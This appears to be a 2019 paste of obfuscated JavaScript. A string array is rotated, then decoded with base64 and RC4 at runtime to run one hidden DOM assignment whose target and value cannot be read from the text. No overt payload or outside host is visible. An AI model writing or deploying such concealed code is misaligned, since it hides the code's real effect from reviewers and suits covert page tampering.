· 5 years ago · Nov 27, 2019, 10:58 PM
1'use strict';
2/** @type {!Array} */
3var _0x3589 = ["WcKFw7nCnVzDncKSw6DCuzbDu8OWw4ZK", "w7d8w6w=", "TsKFUg==", "wprDg8KcYSLDnULCo27DrjNZKcKQK2ZaJHHCujt/dV8/w5kaBxkTPA=="];
4(function(data, i) {
5 /**
6 * @param {number} isLE
7 * @return {undefined}
8 */
9 var write = function(isLE) {
10 for (; --isLE;) {
11 data["push"](data["shift"]());
12 }
13 };
14 write(++i);
15})(_0x3589, 236);
16/**
17 * @param {string} n
18 * @param {string} dn
19 * @return {?}
20 */
21var _0x50c1 = function(n, dn) {
22 /** @type {number} */
23 n = n - 0;
24 var i = _0x3589[n];
25 if (_0x50c1["RUAnwm"] === undefined) {
26 (function() {
27 var PL$14;
28 try {
29 var evaluate = Function("return (function() " + '{}.constructor("return this")( )' + ");");
30 PL$14 = evaluate();
31 } catch (_0x45542c) {
32 /** @type {!Window} */
33 PL$14 = window;
34 }
35 /** @type {string} */
36 var listeners = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
37 if (!PL$14["atob"]) {
38 /**
39 * @param {?} i
40 * @return {?}
41 */
42 PL$14["atob"] = function(i) {
43 var str = String(i)["replace"](/=+$/, "");
44 /** @type {number} */
45 var bc = 0;
46 var bs;
47 var buffer;
48 /** @type {number} */
49 var Y = 0;
50 /** @type {string} */
51 var pix_color = "";
52 for (; buffer = str["charAt"](Y++); ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer, bc++ % 4) ? pix_color = pix_color + String["fromCharCode"](255 & bs >> (-2 * bc & 6)) : 0) {
53 buffer = listeners["indexOf"](buffer);
54 }
55 return pix_color;
56 };
57 }
58 })();
59 /**
60 * @param {string} data
61 * @param {!Object} fn
62 * @return {?}
63 */
64 var testcase = function(data, fn) {
65 /** @type {!Array} */
66 var secretKey = [];
67 /** @type {number} */
68 var y = 0;
69 var temp;
70 /** @type {string} */
71 var testResult = "";
72 /** @type {string} */
73 var tempData = "";
74 /** @type {string} */
75 data = atob(data);
76 /** @type {number} */
77 var val = 0;
78 var key = data["length"];
79 for (; val < key; val++) {
80 /** @type {string} */
81 tempData = tempData + ("%" + ("00" + data["charCodeAt"](val)["toString"](16))["slice"](-2));
82 }
83 /** @type {string} */
84 data = decodeURIComponent(tempData);
85 /** @type {number} */
86 var x = 0;
87 for (; x < 256; x++) {
88 /** @type {number} */
89 secretKey[x] = x;
90 }
91 /** @type {number} */
92 x = 0;
93 for (; x < 256; x++) {
94 /** @type {number} */
95 y = (y + secretKey[x] + fn["charCodeAt"](x % fn["length"])) % 256;
96 temp = secretKey[x];
97 secretKey[x] = secretKey[y];
98 secretKey[y] = temp;
99 }
100 /** @type {number} */
101 x = 0;
102 /** @type {number} */
103 y = 0;
104 /** @type {number} */
105 var i = 0;
106 for (; i < data["length"]; i++) {
107 /** @type {number} */
108 x = (x + 1) % 256;
109 /** @type {number} */
110 y = (y + secretKey[x]) % 256;
111 temp = secretKey[x];
112 secretKey[x] = secretKey[y];
113 secretKey[y] = temp;
114 testResult = testResult + String["fromCharCode"](data["charCodeAt"](i) ^ secretKey[(secretKey[x] + secretKey[y]) % 256]);
115 }
116 return testResult;
117 };
118 /** @type {function(string, !Object): ?} */
119 _0x50c1["MjLDdw"] = testcase;
120 _0x50c1["urXssp"] = {};
121 /** @type {boolean} */
122 _0x50c1["RUAnwm"] = !![];
123 }
124 var b = _0x50c1["urXssp"][n];
125 if (b === undefined) {
126 if (_0x50c1["PUwzJC"] === undefined) {
127 /** @type {boolean} */
128 _0x50c1["PUwzJC"] = !![];
129 }
130 i = _0x50c1["MjLDdw"](i, dn);
131 _0x50c1["urXssp"][n] = i;
132 } else {
133 i = b;
134 }
135 return i;
136};
137/**
138 * @return {undefined}
139 */
140function _0x1ec44a() {
141 document[_0x50c1("0x0", "q(lf")](_0x50c1("0x1", "8YBj"))[_0x50c1("0x2", "[d7a")] = _0x50c1("0x3", "h4E4");
142}
143_0x1ec44a();